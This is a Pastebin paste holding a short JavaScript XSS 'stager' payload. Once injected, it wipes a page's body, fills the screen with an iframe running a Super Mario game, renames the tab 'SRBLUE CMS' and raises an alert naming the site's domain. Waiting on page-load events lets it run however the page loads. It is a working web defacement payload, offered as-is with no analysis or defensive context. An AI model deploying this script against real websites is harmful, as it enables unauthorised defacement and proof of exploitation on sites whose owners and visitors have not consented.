Advertisement
Guest User

Untitled

a guest
May 21st, 2019
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. // Override the document body
  2. function inject() {
  3. console.log("Stager: Injecting iframe...");
  4. document.title = "SRBLUE CMS";
  5. document.getElementsByTagName('body')[0].innerHTML = '<iframe src="https://jcw87.github.io/c2-smb1/" allowfullscreen style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;">';
  6. alert('ATAIDE JUNIOR = SUPERMARIO' + document.domain + "!");
  7. }
  8.  
  9. // Check whether or not the DOM can be injected straight away or has to be invoked via events
  10. if (document.readyState === "complete" || document.readyState === "interactive") {
  11. console.log("SRBLUE LINDO");
  12. inject();
  13. } else if (window.attachEvent) {
  14. console.log("SRBLUE LINDO");
  15. window.attachEvent('onload', inject);
  16. } else if (window.addEventListener) {
  17. console.log("SRBLUE LINDO");
  18. window.addEventListener('load', inject, false);
  19. } else {
  20. console.log("Stager: Fallback to iframe count");
  21. fc = document.getElementsByTagName('iframe').length;
  22. setInterval(
  23. function() {
  24. if (document.getElementsByTagName('iframe').length != fc) {
  25. return;
  26. } else {
  27. inject();
  28. }
  29. },
  30. 300
  31. );
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement